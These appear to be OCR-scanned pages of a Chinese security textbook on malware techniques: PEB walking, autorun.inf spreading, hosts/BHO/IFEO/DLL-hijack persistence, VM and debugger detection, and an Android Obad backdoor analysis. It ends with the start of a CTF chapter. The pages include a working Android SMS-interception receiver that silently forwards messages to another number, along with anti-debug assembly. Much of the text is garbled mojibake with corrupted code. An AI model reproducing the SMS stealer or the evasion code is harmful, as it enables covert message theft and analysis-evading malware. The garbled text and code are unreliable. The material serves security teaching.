/ /+0x0cH AR P EZHRE T MBARRAT R
LIST ENTRY InMemoryOrderMcduleList; //+0x14
LIST ENTRY InInitializationOrderModuleList; //+0xlc

} PEB_LDR DATA, *PPEB LDR DATA;

X B[ & 5 2 S 4 = InMemoryOrderModuleList 2 Z£{ /{InLoadOrderModuleList, ¥

FRFFEMHEA LIST ENTRY.

typedef struct LIST ENTRY {

struct LIST ENTRY *Flink; //#8ET— PR AMNBLinkiEs
struct LIST ENTRY *Blink; //#§ELE—¥RTRANFLinkigst
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} LIST ENTRY, *PLIST ENTRY, *RESTRICTED POINTER PRLIST ENTRY;

AR AN EEN, VDR S TR, Bk RT LUE HPEBH (R FFAEAR (5
BRI MER, 3 HSHF 94— D5 4 4_LDR_DATA TABLE ENTRY#)
ARG

typedef struct LDR DATA TABLE ENTRY {
PVOID Reservedl[2];
LIST ENTRY InMemoryOrderLinks;
PVOID Reserved?[2];
PVOID DllBase; / / DLLAZ SR 3t
PVOTD EntryPoint;
PVOID Reserved3;
UNTCODE STRING FullDl1Name; / /DLLE&1Z
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
i
ULONG TimeDateStamp;

} LDR DATA TABLE ENTRY, *PLDR DATA TABLE ENTRY;

RS, %A T 2T LA AN R [ DLLAS B i) B i D1IBase F1 B AT 1) #4245
&, R UNICODE STRINGZA! ()2 ${FullDIIName .

typedef struct UNICODE STRING ({

USHORT Length; /1KE
USHORT MaximumLength; /I BRRKE
PWSTR Buffer; /1 EHX

} UNICODE STRING;

B FDLLY 75 Ut 2
(1) BORAFFE N BFIDLLC R B (1) B BEEAT I B4R 1 .
(2) () Rl BT RAFHIDLLER AR RS 2408 B
AARSEE TV
(1) B FFEAFLAR AL, PLLdr—InLoadOrderModuleList Flink{E A i 77 #E HL g
[EP=N
(2) B EE ARIDLLAEER
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MECAL R LEH , i WinDbg & [Al— R /F M LA R F3262 R 58, W& 9-79,

E19-80T 7~ o
Wowed TEE at 000000007=fdb000
Ezceptionli=t: Qoooooo07efddonn
StackBase: Qoooooooooostdzo
StackLimit: googooooooos=000
SubSy=tenTib: gooooooooooooono
FiberData: goooooonooooienn
ArbitrarvlserPointer: 000000000000COCO0
Self: Qoooooon?efdbonn
EnvironmentFPointer: goooooonoooooonn
ClientId: Qoooooononooiend nooooooooonnissa
RpcHandle: goooooooooooooon
Tls Storage: QooQooooooooo0oo
PEE Addre=ss: Qooogooon7efdf000
LastErrorValue: 0
LaztStatuszValue: 0
Count Owned Locks: 0
HardErrorMode: 0
E9-79 BA{ITEBLZ#

0:000: dt _teb 0x7efdb000

0:000» dt _teb 0x7efdb000

ntdll!_TEB
+0=000 HtTib : _NT_TIE
+0=2038 EnvironmentPointer (null)
+0=040 ClientId . _CLIENT_ID
+0=2050 ActiveRpcHandle {(null)
+0x2058 ThreadlocalStoragePointer : (null)
+0x2060 ProcessEnvironmentBloclhk O=00000000° 7efdf000 _FEE
+0=068 LastErrorValue 0
+0x06c CountQfOwnedCriticalSections il
+0=2070 CsrClientThread (null)
+0=078 Win32ThreadlInfo (null)
+0=080 U=eri?Re=served [26] O
+0=0e8 T=erRe=served [E] D
+0=100 WOW3Z2Reserved (null)

[E9-80 32{ITEBZ#

PEBHMliF s HAZ Z BT HI0x30 T, TM20x60, kLT FHEBZH, wWPE9-81F R,

ntdll!_FEE
+0=000 Inheritediddres=Space : 0 "'
+0=x001 ReadImageFileExzecOptions : 0
+0=002 BeingDebugged 0=l ot
+0=003 BitField N
+0=2003 ImagelszesLargePages : 0yl
+0=003 IsProtectedProcess : 0Ov0
+0x003 Is=legacyFrocess : 0wl
+0=003 I=sImagelynamicallyRelocated : 0y0
+0=x003 SkipPatchinglUser3ZForwarders : 0Ovl
+0=003 SpareBits o Oy0on
+0=008 Mutant o O=ffffffef fEfE£E£££f Void
+0=2010 ImageBaseiddress : 0x00000000° 00400000 Void
+0x=018 Ldr : O=00000000°77d492640 _PEE_LDE_DATA
+0=020 ProcessParanseters : 0=z00000000° 00732340 _RTL USEE PROCESS PARAMETERS

#19-81 64{IPEBZH

Ldrff s bt Rt e 2 T k32, (R M bkl 018,
A 23S N IFS A7 A% P HME L T 2T 8. BTk, @0 —Mr BT HAPIR

B TIREPEB I HE R4

WINAPI NtQueryInformationProcess (
HANDLE ProcessHandle,

PROCESSINFOCLASS ProcessInformationClass,

/I RIEEHENER
/ /R AR
/IR REEER
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PVOID ProcessInformation, //BNEEREHX
ULONG ProcessInformationLength, 2 eI
PULONG ReturnLength / REMERK/N

2

S35 N Bt AN, 23— ProcessInformationClass A B K #1J{H .

typedef enum PROCESSINFOCLASS
ProcessBasicInformation, / /PEBEHA{E B
ProcessDebugPort, / /AR A
ProcessQuotalLimits,
ProcessToCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort, / /1@ EDWORD PTREH FRXBEFMKOS
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaul tHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information, //BFiaTHHERSTHANERES
ProcessImageFileName, //f%UNICODE STRINGHE @ E&EGEHNBIR
ProcessLUIDDeviceMapsEnabled,
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ProcessBreakOnTermination, //#ZULONGEE!, I5EFcELD
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessTImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
MaxProcessInfoClass

} PROCESSINFOCLASS;

iXH, EAREProcessBasicInformation, HH{#7F T PEB& {5 &,

typedef struct PROCESS BASIC INFORMATION ({
PVOID Reservedl;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG PTR UniqueProcessld;
PVOID Reserved3;

} PROCESS BASIC INFORMATION;

SRS E B HPEBL MR FEhE, thIFREANIFESINGER.
bR £ 2 % = ProcessInformation ] RIZUWPEBE B IZE X (LLPROCESS BASIC
INFORMATIONZE Y 75 B 28 ph X Bl {5 B . 23U ProcessInformationLength3R 7~ {5 E 1
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KN Csizeof @IF]) o ZEREIFRBMAKATF, BT 2248 F GetProcAddressFlLoadLibrary
MNAILdIHERIGZ s E O . P Z RS, (793 T PEBSS H ¥tk .

9.3.3 autorun.inf— X EE— B

UBHRFTE20074E R &, JF HAEFMRK. 20114, AWM R 44 HKBI67940
I T 5, URDREEEXPREE F EsMERB IR T3, W14-7EWindows 7/8 - 22 108 A 1114
K, URRBETERRE TR, HHEFEEHZER—HAEN.

e EEFH T autorun. infi 45 t——FEURAT FFif A3hiE4T ZhAE. LLCZEAME R
FTHZSCME, WS4 B 9-82 7 .

autorun.inf A4 (ILE9-83) & A —M&KWI T

[AutoRun]
open=F] V2R
R AR R AE U R R 5 30 T T 1) shell 55 [FFF A2 34T TF S0 RIPE A

e

= || autorun.inf - {254
et reF) SEE) BRO) =BV e
L 4, KutoRun]
'n'l: ben=coink. exe
hellexecute=coink. exe
autorun. hell W THF (B0 '\ command=coink. exe
[El9-82 autorun.inf(1) [E19-83 autorun.inf(2)

BUABIRBE, WEIZCHRIUSRBENGETTITLLE, 2 B3 Teoink.exelii i . %N H
M<K E S EHFRZEFR, RERMEH B, SKIARDHEFEEDRE. %0 Tl s
USBEINMERE, —BERBFURRAA, WEH A5 3EANUELE &SNS UM autorun.inf
M, REEE R A SR EIERUR M H I, Sk, BT REMAANRE
FIX L2 Th RE /2 dn ] SEELAY -

RS =A M, ERGREF FHURTEIEE S, WAHITHE (exe.
com% ) 3 FEULE H 6 5 #autorun. inf 3L

TR RO B FBOF AR, Aid R T GetDriveType i £(11 C .

UINT WINAPI GetDriveType (
LPCTSTR lpRootPathName //&ZFF&FR

Iz

SHURATFREZR T, Hlwc: . RKEWIREES HDRIVE REMOVABLE,
WZRR BN R &, WUHSE; F ADRIVE FIXED, W4 [EEMi#A; FH ADRIVE
CDROM, MIAMIK. R RBUSNIEIR, 55— B A0 I 4 S RE A B SE 0 T 4%
WUE R hRE.

REAHUL IR B & SO Thag, AT B,
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BOOL SetFileAttributes (
LPCTSTR lpFileName, /I HELRRS R
DWORD dwAttributes /13BN
2

SO %A% 2 autorun. inf B KR B FE P 1 R AR R 4R, SO B 1 ) BN FILE
ATTRIBUTE HIDDEN, #f-4 Ak 4k B T .

9.34 #HF

AN IR 2978 2 (1K) 2 Fh s RE 2
1. | s eSEh 5

(1) hostsEFF

hosts (ULE9-84) e —MAC: \Windows\System32\drivers\etc, RJ LAHiCZH 4
1T9F, HAEH Rt vraE A, Wi S AR MO FFT7 RIE, Fhosts FA7H 1%
o ik 5 568 TP ) 8 5 i TP A AT U 1) 2 el o DRt 8 A1 S0 e A8 S0 I8 ) s K TP,
BH PSRRI R IR E PR ML, X ZhostsHF.

#46. 61, 155, 222 zoogle. com
#d6, 61, 155, 222 www. goozle. com
#d6. 61, 155, 222 m. google. com

#de. 61, 155, 222 scholar. gongle. com
#de. 61, 155, 222 translate. google. com
#d6. 61, 155, 222 books. google. com
#46, 61, 155, 222 appengine. zoogle. com
#d6. 61, 155, 222 maps. google. com
#46, 61, 155, 222 news. zoozle. com
#d6. 61, 155, 222 1mages. goozle. com
#46, 61, 155, 222 finance. zoozle. com
#d6. 61, 155, 222 history. goozle. com
#46, 61, 155, 222 drive. google. com
#d6, 61, 155, 222 docs. google. com
46, 61, 155, 222 plus. google. com
#de, 61, 155, 222 plav, zoozle. com
#46, 61, 155, 222 calendar. google. com

E19-84 hosts3Z {4
(2) BHOH %
BHO (Browser Helper Object, WYEZSHEIN %) £ IR 5P R 2Z 8 JFHAS B #%
P FpRifE . F2FF S0E XA 1 AT DAgR SACRS ZE I S R B0AT 0, Bl D HO R F g
&M AR, MBESIEET #5F.
BHOZEVE M # 94 B —AHKEY LOCAL MACHINE\SOFTWARE \Microsoft\Windows\
CurrentVersion\Explorer\Browser Helper Objects\, #1E9-8577x. H TR 44 B A 6 1 )
BHO.
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S \\\\

U

RESRERAER

|} Explorer || =% wm -
b -l Advanced ab] (@R REG_SZ EEFES)
b J AppKey

| Associations

1~ ). AutoplayHandlers

. BrowseNewProcess

J
3
b ) AutoComplete
]
)

41| Browser Helper Objects
Ju {B69F34DD-FOF9-42DC-9EDD-957187DA688D}

E9-85 BHOFMRE

#FHKEY LOCAL MACHINE\SOFTWARE\Classes\CLSID\F, 7] EA#k ZIBHOX W ]
M, HAFCLSIDJEFGUID (Globally Unique Identifier) , tHFR4EUUID (Universally
Unique Identifier) , ‘ER22F/ME—HRIRRT, ERHCOMIEHIFRIATRT.

HA InprocServer32 FHH{E IR T £ <K Z2BHOME M DLLIC A (JLE9-86) . Jiagl
224 B S INFEBHO H N #0:% EDLLAK S #F i

(3) LSPH#F

LSP (Label Switched Path, 7} ER&GIREFEF) 2 Winsock LSP, ‘ERZTCP/IP,
UDP/IPEEMMN AR 1 . LSPEFFIIR T ShHr HAGXH BRINLE], HEWZETCPIMLT, we
HEWSPConnectph £, #EIPH BTk, : UDPIHN T, HEEWSPSendefi £, it
R % 2% EHLA

4-Ju {B69F34DD-FOFS-420C-9EDD-957181 || ) @A) REG_SZ C:\Program Files (x86)\360\360S afe\safemon,..
{ bl Implemented Categories ) ThreadingMod... REG_SZ Apariment

i )i InprocServer32

. )i ProglD iﬁl

il Typelib _

Ji VersionIndependentProglD ;ﬁ{ggwm:

b~} {BEAFFBS0-6FAG-49B1-BI12-C3FTAE: &iv

| {B6B44A9T7-BB02-4d6e-9846-3ABICT H{ESHE (V)
| {B6COES98-314D-4b63-8C5C-4014F2 _\Progran Fi

L. emOn \salemonbd. ¢
| {B6C292BC-7C88-41EE-8B54-BEC926
| (b6dc08b1-Obec-45e1-b2ed-3a2d04
E9-86 mmFHDLL

)
-J
b4
)
i

2. g IE G

W% 514F (Image File Execution Options, IFEOQ) & B #iHm T AT RFBHRMAFR—K
FB, Hszt LA SR, EFEMFEIKEY LOCAL MACHINE\SOFTWARE!\
Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ F# & —“~Debugger
T, TR RN BB AR, Wemd.exe. BEJEKZITR BN — M AFELER L
14, H.llasdadasdasdasd.exe, WIPE9-87F1 7R,

o EMEEES
THE) REE SFW WX FRhe
¢ ~(2 xwsetup. EXE Al & R g
g Your Image File Ha 0 REG_ST BHEREE)
D ?E Coibili . Ile'bugger EEG 52 asdadasdaszdasd. exe

E9-87 IFEO
4T Fremd.exelt, BRI 45807 RZEM K T FIDebugger 8 B T $8 [0 il 4, B
asdadasdasdasd.exe, [MiZXAFNFIER emd exe BB LEH T, FEERTFRAHR
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Py IR EE X PR S Y SR
3. DLL#h#

BAERGAEMBDLLICHR, SER@REFFENHX, HRANSERALEHX.
DLLEIFFIERFAREHEX ML, ERFHX TS REDLLAK. T H ek HH
Al Ch THFFRFIERBT) , HRASRENAMKDLLIC . NS IEZDLL
i, FRAEARED AT AN R AN M HUIEAT T .

935 REBHIFEAR

UTFVFE %4 A BB L R R h R B E h B, WA
(9 5 PR e AR R SR LA

1. M E B —FE

R R UML) — R F B R BRI R SVMERNL E R 5, iR B RLUR% 2
1 F Create Toolhelp32Snapshot. Process32First. Process32Next = A~pR % il 2, RKER
REFUHLEIAH S HERE o

HANDLE WINAPI CreateToolhelp32Snapshot ( //TRER
DWORD dwFlags, //RBARRER
DWORD th32ProcessID //HEFRID

2

CreateToolhelp32Snapshot B £ 6} FH F iz £ FIR BRI BHAT IR IR, A9 5 2 PR e U AR
K. ZH—dwFlagsf i F ik,

» TH32CS INHERIT: B &) 45 7T vA4% 48 A

» TH32CS SNAPALL: FiAejtse, A2, wth32ProcessIDA5 € a9t A2 483k

> TH32CS SNAPHEAPLIST: wth32ProcessID45 & #H42 P 43

» TH32CS SNAPMODULE: dyth32ProcessID45 /& it #2483k

> TH32CS_SNAPMODULE32: with32ProcessID35 5 644542 F-HEA2 b 43245 st A2 4 e

» TH32CS_SNAPPROCESS: # %4342/ 4.

» TH32CS SNAPTHREAD: #%43&A24E 84,

A EFETH32CS_SNAPPROCESS, M MW E R0, KL E#HRE.

BOOL WINAPI Process32First ( /IR RBASRARER
HANDLE hSnapshot, //HCreateToolhelp32Snapshot &R LRI G)H#K
LPPROCESSENTRY32 lppe / /#E[EIPROCESSENTRY 32 Z5 10K FI$55T
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Z¥ — 387 T PROCESSENTRY324} #)14.

BOOL WINAPI Process32Next (
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
) :
typedef struct tagPROCESSENTRY32 {
DWORD dwSize; //ZEAEKR /)N, {EHETA{EHsizeof (PROCESSENTRY32) HHTIRE

DWORD cntUsage; / /B FES| BVHEL, AUEE N1
DWORD th32ProcessID; //HEFEID

DWORD th32DefaultHeapID;  //HFREHEID

DWORD th32ModulelID; / /BERRARIRID, HHURE A0
DWORD cntThreads; /1 ERNEE

DWORD th32ParentProcessID; //XHERID, BIUEEAHO
LONG pcPriClassBase; / IHFRBBEENL TR
DWORD dwFlags; //TEER

TCHAR szExeFile[MAX PATH]; //Dlnul1ZERMFHR, BB NTRT X TN TS
DWORD th32MemoryBase; / /AT RATIE A9 AN stk
DWORD th32AccessKey; / /R EIFE R HEZS ) T L

} PROCESSENTRY32;

AL R S LR AU T A

PROCESSENTRY32 pe32;

pe32.dwSize = sizeof (pe32); //{EREHERGEHEER
HANDLE hProcessSnap =CreateToolhelp3ZSnapshot (TH32CS SNAPPROCESS, 0) ;

// BIEtREE

b J5 ZEALIEIA, 7E4¥ FProcess32First(hProcessSnap,&pe32), Process32Next(hProcessSn
ap,&pe32)H (B A R KB RIALIERE, anfd H stremp(pe32.szExeFile,"VMwareUser.exe" )ifif)

2. @13 ARG E LI

JENL A& SY B ENMR, EENFEN A S ENAFEZER, BaT Ll
SR A7 ) FORAS I ST, R IIDT (Interrupt Descriptor Table, = Wik fF7)
ik, HrVMware BRI IDTHbE A OxFE o000, A # EHLHIDTHIEA S & T
0xDOxxxxxx, K AT AIE S $ 4T SIDTHE4 #MIIDTR  (Interrupt Descripter Table Register,
PR TF R F1ERE) , IDTRAFAMIDTHAE, 4R 5 HIBT iR [FLowIDTbase {1 55— A7
T RE R TOXD0, LK E IR .
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typedef struct{
WORD IDTLimit; //IDTESA/
WORD LowIDTbase; //IDTRY{Rfzibtt
WORD HiIDTbase; / /IDTE S bt

} IDTR;

[FIEE AT LA LDT (Local Descriptor Table, AMiFiAFFE) 5GDT (Global
Descriptor Table, ®Rf#BFFER) , HJLDTH F0x00008F, AWEFH; “GDTH T
OXFFxo0o0xx i, bl FE 4L

3. Bt A&

AAN, EATLLET R “VMware” 47 8 RA I BRI MR 0, 3k i Al 2 )
FLREAAE. AT DU\ BREF E TR, kil & fIMACHHE . BIOSZE.

93.6 RIFIKFEAR

RO LR IR, A7 2E RS A (U, R 2 27 SRS h S
RFREA, # AR IR AS LLF LR

1. Z18PEB

BOOL IsDebuggerPresent (void)
/I EZRFAATFBAEE, NREITRUE, HNEREIFALSE

BOOL CheckRemoteDebuggerPresent (

HANDLE hProcess, //#HE0fA, HGetCurrentProcessiR[EEE
PBOOL pbDebuggerPresent /1 BBREROR IR & RN H/RESH
) ; //ERHIETIREITRUE, FFBIHHE TIREIFALSE

i Z 81 AL FINtQueryInformationProcess i, F HEAK HSH _"EH
ProcessDebugPort (0x7), R[FIOXAFEFEA#HE, HERE TR S,

DAL =R R T K lPEBSS 44 ¥ [ BeingDebugged Z2 4 {5 &, IRt AT LATE i
TR IREGZE B .

int dbg; / /B E ¥ BeingDebuggedfIE
_asm{ / /32N ARG HE

mov eax, fs:[30h] / / E\PEB

mov eax, [eax + 2h] / / EfiiBeingDebugged

mov dbg,eax / /¥ BeingDebuggedfI{E

}
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B E kil dogffH, #dbgIME A0, WERMIAERAIE. [FFFEPEBES I 4 U3
b —%Heap () A5, WProcessHeap, NTGlobalFlag.

2. AR

F2JF AT LA F CreateToolhelp32Snapshot. Process32First. Process32Next=-™ bR #FF 4L
SRR SATHH, A “idaexe” “OllyDbg.exe” ZEMRRHAF, ALl EH B H
FindWindow &R #UHAT & D & 4.

HWND FindWindow (
LPCTSTR lpClassName, //BEf2E
LPCTSTR lpWindowName //% &R
);

ZH— UL ANULL, S8 A ZAEFREF AR E 274, m
FindWindow(NULL, "ollydbg ™); B H],

3. A i8] iE] B Al

ix BAARDTSCIE S .
RDTSCH 4R [H 2 H IFHLLL R B CPUR A W ¥, R [Bl 12 — 6447 i {H
EDXLEAX (&322 EEDX, K327 FEEAX) , A HEEWMT.

int time first, time last, time sub
_asm{
rdtsc

mov time first, eax

...... / 1 #BIITEFFARED

mov time last, eax

}

time sub = time last - time first

Tk e rtime sublfiZE MR AT ERIBATR I, M W R 7 TR A R,
52 AR

DWORD GetTickCount (void)

R [E] B EVUE S B R B T 2, A=A BRI AT LS SR B S
2%, HEEEZE, AR,
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4. mz=

InFe s F IS S BT R 45, B8RP AN H 5 (Original Entry Point, OEP) , JN&FE
RS, 75N RS InE AT ARG, AT PR LR A R R AR A P R s .

5. tnik

m“Ie” RIGIMALERES, Tefam— S %E S 4T PR N A BT 20T AR
i, RFREWIENIETT, EaiEpiCom s,
MIERD L2721 58 A BN Z JG, FRE AT A R SR

9.4 [ AT A

041 43R (&) Bk

BN ARFRBACR I RT T E—FES AR . FFE2 R & A
MR FAEAR PR BRI — R T, RS —R5RE. kS
XA AL M S g R L xS, R S & MFRIRF LSS R, WEE (L%
EFSPE) HbEd:.

FREAS RN R B 5 518 R g2 SRS, I BRBARRILE R S HREE
R A A AL R AR O L, kI Wi SRR A AR 0. T 5 R A AR 3
Fri, REEERIRTCVE KA EURT IR W EE 0T R DA, AN REINTE . e R
AT HE LA 3 A 5 BORFAERD . AR IL/E HG N T R AF IS4 LA Bt IEAS 41 4, {2
R AR A TR E] “theg—207 , BRI R R 1F o IR bR AL A% 414 R e 1 457
TR HK.

942 RBAEAARE

Ja kAT A EES R AT EsER kAT # SR A URHERS R A
Hefll, T RICHRWAENIBITI A T3 B A SR EATRME R 14, W REER i 44
A HEEHERER AR HIRRERS GO RTARFEEIIAPIRHIAE) AL
e, BEEHIWONRERT. 313888 KRN &R T A B R EUNLER (&
PHEICPUSE I A ED) , B sh BT IE BN R AT, FHRIRERFER
AISEAT N, MUHIE N IR AT .

i R AT R S0 A AR 5 TS B T OGP IR, SRAb THRIERS IR VAR —
i T AL I e BT B R, SR A RA RIS DL, BRI RFIR T T .
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9.4.3 FEEhBHEHEAR

ATERBER . EFFPREAROER, oM BRI T 50 5% 3 BRI
FAE SR, EREERIINZEXNE A S, IiTEs A5 HEER P2 mEREL
g5 Hk, B2 ENEE S THOOK, FahBiE R7E#EE R PHOOK T —1b5
HHHKAPIRE, 3 H P EHIXSAPIREIN R, &SRR H 1 APIR # L
B A BRI L8 APTRR FAl HE AT A HERNZ AR 7 R A5 A 3, REmo A3 S i ds .

EHpitoAR R R TER P EANT R TR, AR SRS T —
SERIBIVErER . IR, W1360% 4 B 125 KA HAFE E 3 B BRI s 1 i S &
FhIhRE, FRAE TR R R LRI R T EL.

944 Z=&EXR

W TSR AR R E E R LR FT AT REFR R, = EARR RN RR AT
AR ERES . ZERIFEMES T RS 48R, EERNELZEARN “mitHE”
FBG SEHL T FERE R 1] Py SRR AR DA 25 S 7 P RO S, (EILBR RUE TR EARE— M
WA AL, H LA R ETER.

9.5 Android A Y

BEERETNOLEE, BHEENCARITE EBED T - a7
ARG . EEARMBERRMF, Filn [
B 1 5 6 e ) BB L T . AL 9 00 H A0 (5
R R P AL Sk A A Do you '.f::mt m. ins‘tall this application?

P2 SN L G ) o g
T A AR 5 SR BRI, R B A s B o =

ATEHI T —FE RN “Backdoor.AndroidOS. * Nel \rk commumﬁamn
Obad.a” (Mg ELALE M Android AR D, 1E9-88Hi 7.
A DRI T 240 “ Android# /2 48 i B (R R G
RIFE AR, I FLARS LB E A . PR M4 oy s 50 o cowert

AR Dk K0, FRFILEE RN LRI . "..'?:‘f'?ﬁ'??’;"_s.:_ Sy
Tﬁﬁ}g%u*ﬁ" . é;rvi;es thatJ cost you money

(1) EAARS AR IER &, ARG s SMSmessages
AOHRBEREBESL. B8R, EXRHABHFAEERX g5 Syeteen tooks
R D ME— AT T . Cancel Install
(2) Odab.affJAndroidManifest.xml 3t 3E 5 K B9-88 RIEFRM
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W, REVEZLEX Android ik iZHE AR M 2 ), AEH T B4 S8R AE 1) AndroidManifest.
xml3CH (HLE9-89) , FFAFILAERS IEH 48 RETFHLIZIT

<application =".00cCccl™>
<activity ="System" =".CCOIoll">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category androidinames®android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity ="System" =".cCoIOIO0" ="singleTop" />
<gervice =",0C0cCOll" />
<receiver ="System" =".0Cl1Cc0" ="android.permission.BIND DEVICE ADMIN">
<mata-data ="android.app.device admin® ="fxml/ccclocc" />
<intent-filter>
<action android:name="com.strain.admin.DEVICE ADMIN_ ENABLED" />
</intent-filter>
</recaiver>
<gservice =" ,MainService" />
<receiver =", I00ICOCI™>
<intent-filter ="1000">
<action androidiname="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT POWERON" />

E9-89 AndroidManifest. xmi3Z {4

(3) ZA G XS T8-S AT R AR 3, MM PR IE R miE. A SRR T ARSI
AT LLAL, B TR AT R RAL B, (R Z 2 A W E i Tavak 4 1F TR
(LE9-90) Joik Emah S gmPEEAR S, N T X0 AT 1 73 b 3 B

==

gt =

[lasses-dex2jarjar &3
£ com.android CCliocc.class 3 | CiColCCo.class

» i internal telephony -

v Elsvsu-m.mmin E:CEI_G;:M'BWEI = new bytelj];
¥ 4] ccololl int m:

0 cciioce if (arrayOfBytel == null)
> 1) CiCoiCCo nej;
» 1] Cicloico for (int n « paremint2; ; n « array0fBytel[paremint2])
» [I) cioccie {
» 1] cooion paromIntZes;
i=-4+ (m+n);
: %gcc::lco ::\f)ﬂ"vu![k] = ((byte)i);
» 1) co00000 if Ek )
> ] Coceolo return new StringlorrayOfByte2, @),
» (1) Cesoono n=i;
» [ iciceoce }
» [ icocele }
b 1) icowna
> 0 icae o ERRR s
» (] icdceoc |:uh'|.1.c final void run()
" ‘D 100icod /7 Byte code:
g :IJ leCeCOIC r @: invokestotic 168 java/long/System:currentTimeMillis (&3]
> (D) ioc0c 4 33 lstorel
» 1] lecoice /f  4: new 154 jova/lang/String
> 1] e /7 dup
» 1] lololol /7 8: bipush 19
» 3 MainService £ 18: sipush 498
» [J) ocicesct £/ 13: bipush 236 .
> z p— £/ 15: invokestatic liB coﬁfﬂnﬁrmda':ﬂyﬂrmﬂnm:naffE'I.lOc: :oCILCI (IIIDL java/lang/SY
4/ 18: invokestatie 175 com/android/system/admin/oCILCIL: 0CILCTL (Ljavaslang/String

b (1 neucan as o

E9-90 JavaR4iFTH
(4) WARLLEFEHMER. Android REEM22MRATFFER, Rt T —4> “REEHE" 1
Thig, HATERA AN BERRITIERE M, 4 TPk R TR B #2361 “ &
HAR” , —ERRREEHRZE, 2R &EHESRATME (LE9-9D . HE, HT
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Android RGiXT WINREBLTH A E R, AR ST LA A AHLE], ik B SEM R —
BEAE RS, IMTFH LR P 2.

(5) —HRPAE “80%” RS, EMBaEMmm 7 & B s, WizARSH 5

Tzl A R R AR, IR SRR B VAR Ao TR & E e
FIRLFR UL K AR E B 5 A8 ARARAE (9T B M i & B4R, B DLEDE Android ik e v i R

T,

ERASERETHBIIRS B, M B ERA S BOEEM & E 2SI D,
T8 TCIEIGH AR S IR, anPE9-9257 7R

T BaEin g EIER0 ?

Figgsmss

’e! System

E9-91 HMiEFRm E9-92 ALDiEME, R&EEHRER “CHAMH
BRI EEER"

I B HrREL, WRA P ERTHGARS TARASBAIRIE, HAERASERIRK

m#% BrEl, REFHFHER IR B O “Pil” REEZERAT, &l

>

e

>

e

TR AR 4 FOR B R T S 09 4R 4

B RAR 2T AR 7T $ AR A AR,

SRR F LA, FA A A TE A

BRI ZAT, AT E R ZRA T LIRS AT A RS X R R iE
FTAPPRE 4k

T, B b s R S R AR

package com.android.service;

import Jjava.text.SimpleDateFormat;

— 240 —



import
import
import
import
import
import

import

public

V=
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android.annotation.SuppressLint;
android.content.BroadcastReceiver;
android.content.Context;
android.content.Intent;
android.os.Bundle;
android.telephony.SmsManager;

android.telephony.SmsMessage;

class a extends BroadcastReceiver {

public static final String SMS RECEIVED ACTION =

"android.provider.Telephony.SMS RECEIVED";

@SuppressLint ("SimpleDateFormat™)

@Override

public void onReceive (Context context, Intent intent) {

Bundle bundle = intent.getExtras();

Object[] objects = (Object[]) bundle.get ("pdus") ;

for (Object obj : objects) {

/ /EMsmsMessage
SmsMessage smsMessage=SmsMessage.createFromPdu ((byte[]) obj);
String body = smsMessage.getDisplayMessageBody () ;
String addres = smsMessage.getDisplayOriginatingAddress();
long date = smsMessage.getTimestampMillis();
/ 1T ALRT ()
SimpleDateFormat format = new SimpleDateFormat (
"yyyy-MM-dd hh:mm:ss");

String dateStr = format.format (date);
System.out.println(addres + ":" + dateStr + ":" + body):;
/MERIEESTRER
if (addres.equals("5554")) {

abortBroadcast () ;

SmsManager smsManager = SmsManager.getDefault();

/ /EHEREREIRE ST

smsManager.sendTextMessage ("5556", null, addres + ":"

+ dateStr + ":" + body, null, null);
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}

R AR R, FreA TR B TIrAT L, 2iBroadcastReceiver
55 2% KT HoAth i) BroadcastReceiver AR 76 I B, {8 7] BAA# F abortBroadcast() 4R it
ITRREEEL EHAMAPP AR .

<1— FMreceive FHFIEBEMLTLE - —
<receiver android:name="com.android.service.a" android:exported="false">
<intent-filter android:priority="10000">
<action android:name="android.provider.Telephony.SMS
RECEIVED" />
</intent-filter>

</receiver>

9.6 AEihgk

AT E A T TR SRR LR R, B T T A 2R T AU
o MRJEEIAT A M T BORUFIR SRR &0 TREGEA 7, WiiE e B iz it
TR EAURTRIAT N, HMMUEEE &I EIUR S RTIL . B TRNE T HEH
AR HARE BT B RO F BN AT R SRR, WHAL T TER R
HIA T SC R — EAPTR BN E R A & BIGA T — ML SR ELH], BEEBED T
B K FAURTR RSO RN R EE S, 0 K2 B AR a6 & 5 K B 1
BUNES, FibERERFAVAR. BHHRENLE, RERHEEELRNREMA. B
HARERZES, EEXKIRFT RN, RERIME BRERE (MU
Fhlga) B, — X TR SRR, B AR, € R TR
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ZAGEH P AIREREE, JLPEE ARERESMIAIRASRE, BEEIEZ R
W, B EANRERR T . AT IR —TI7E 2 2 U LB ATV K 5238 ——CTF.

10.1 CTF#t¢

CTF (Capture The Flag) —RiF/EFIRHTE, BIFNE R L EWEIERNA M IR LI
BREARFRI LSS, FIRSERREE AP RE . X OB 2R IE T 19964 F-IDEFCON
EHREBERE, BRA EABEUFEZRNEANE 2R T LR E LK dr. CTF
IAE O 2B A BRIV M 28 2 4 Bl AT K32 482 . DEFCONE 4 CTESE M i) & Y
DEFCON CTEB A T8GR H AT &Rk = B AR ) K CTESE 3% .«

10.1.1 CTFH=FZFEEX

CTFZEFAE A A LLTF =K.
1. R ( Jeopardy )

